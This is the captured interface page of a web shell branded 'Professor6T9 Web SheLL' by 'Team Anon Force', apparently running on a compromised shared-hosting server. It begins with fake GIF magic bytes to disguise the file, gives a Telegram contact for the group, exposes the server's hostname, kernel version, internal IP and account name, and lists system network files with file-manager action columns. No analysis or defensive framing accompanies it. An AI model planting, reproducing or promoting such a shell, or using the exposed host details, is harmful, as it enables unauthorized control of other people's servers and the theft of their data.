GIF89;aGIF89;aGIF89;a

Team Anon Force

https://t.me/Professor6T9x

Professor6T9 Web SheLL
 Linux world-400.fr.planethoster.net 4.18.0-425.13.1.lve.el7h.x86_64 #1 SMP Mon Feb 27 14:44:55 UTC 2023 x86_64
 Apache
 10.195.0.10
Name Type Size Owner/Group Permission Last Modified Actions
. dir - pluszzsu/pluszzsu 0555 2026-06-13 05:00:50
.. dir - pluszzsu/pluszzsu 0555 2026-06-13 05:00:50
dev_snmp6 dir - root/root 0555 2026-06-13 05:00:50
netfilter dir - root/root 0555 2026-06-13 05:00:50
rpc dir - root/root 0555 2026-06-13 05:00:50
stat dir - root/root 0555 2026-06-13 05:00:50
anycast6 application/x-empty 0 B root/root 0444 2026-06-13 05:00:50
arp text/plain 0 B root/root 0444 2026-06-13 05:00:50
connector text/plain 0 B root/root 0444 2026-06-13 05:00:50
dev text/plain 0 B root/root 0444 2026-06-13 05:00:50
dev_mcast text/plain 0 B root/root 0444 2026-06-13 05:00:50
fib_trie text/plain 0 B root/root 0444 2026-06-13 05:00:50
fib_triestat text/plain 0 B root/root 0444 2026-06-13 05:00:50
icmp text/plain 0 B root/root 0444 2026-06-13 05:00:50
icmp6 text/plain 0 B root/root 0444 2026-06-13 05:00:50
if_inet6 text/plain 0 B root/root 0444 2026-06-13 05:00:50
igmp text/plain 0 B root/root 0444 2026-06-13 05:00:50
igmp6 text/plain 0 B root/root 0444 2026-06-13 05:00:50
ip6_flowlabel text/plain 0 B root/root 0444 2026-06-13 05:00:50
ip6_mr_cache text/plain 0 B root/root 0444 2026-06-13 05:00:50
ip6_mr_vif text/plain 0 B root/root 0444 2026-06-13 05:00:50
ip6_tables_matches 0 B root/root 0440 2026-06-13 05:00:50
ip6_tables_names 0 B root/root 0440 2026-06-13 05:00:50
ip6_tables_targets 0 B root/root 0440 2026-06-13 05:00:50
ip_mr_cache text/plain 0 B root/root 0444 2026-06-13 05:00:50
ip_mr_vif text/plain 0 B root/root 0444 2026-06-13 05:00:50
ip_tables_matches 0 B root/root 0440 2026-06-13 05:00:50
ip_tables_names 0 B root/root 0440 2026-06-13 05:00:50
ip_tables_targets 0 B root/root 0440 2026-06-13 05:00:50
ipv6_route text/plain 0 B root/root 0444 2026-06-13 05:00:50
mcfilter text/plain 0 B root/root 0444 2026-06-13 05:00:50
mcfilter6 text/plain 0 B root/root 0444 2026-06-13 05:00:50
netlink text/plain 0 B root/root 0444 2026-06-13 05:00:50
netstat text/plain 0 B root/root 0444 2026-06-13 05:00:50
nf_conntrack 0 B root/root 0440 2026-06-13 05:00:50
nf_conntrack_expect 0 B root/root 0440 2026-06-13 05:00:50
packet text/plain 0 B root/root 0444 2026-06-13 05:00:50
protocols text/plain 0 B root/root 0444 2026-06-13 05:00:50
psched text/plain 0 B root/root 0444 2026-06-13 05:00:50
ptype text/plain 0 B root/root 0444 2026-06-13 05:00:50
raw text/plain 0 B root/root 0444 2026-06-13 05:00:50
raw6 text/plain 0 B root/root 0444 2026-06-13 05:00:50
route text/plain 0 B root/root 0444 2026-06-13 05:00:50
rt6_stats text/plain 0 B root/root 0444 2026-06-13 05:00:50
rt_acct application/octet-stream 0 B root/root 0444 2026-06-13 05:00:50
rt_cache text/plain 0 B root/root 0444 2026-06-13 05:00:50
snmp text/plain 0 B root/root 0444 2026-06-13 05:00:51
snmp6 text/plain 0 B root/root 0444 2026-06-13 05:00:51
sockstat text/plain 0 B root/root 0444 2026-06-13 05:00:51
sockstat6 text/plain 0 B root/root 0444 2026-06-13 05:00:51
softnet_stat text/plain 0 B root/root 0444 2026-06-13 05:00:50
tcp text/plain 0 B root/root 0444 2026-06-13 05:00:51
tcp6 text/plain 0 B root/root 0444 2026-06-13 05:00:51
udp text/plain 0 B root/root 0444 2026-06-13 05:00:51
udp6 text/plain 0 B root/root 0444 2026-06-13 05:00:51
udplite text/plain 0 B root/root 0444 2026-06-13 05:00:51
udplite6 text/plain 0 B root/root 0444 2026-06-13 05:00:51
unix text/plain 0 B root/root 0444 2026-06-13 05:00:51
xfrm_stat text/plain 0 B root/root 0444 2026-06-13 05:00:51
© Professor6T9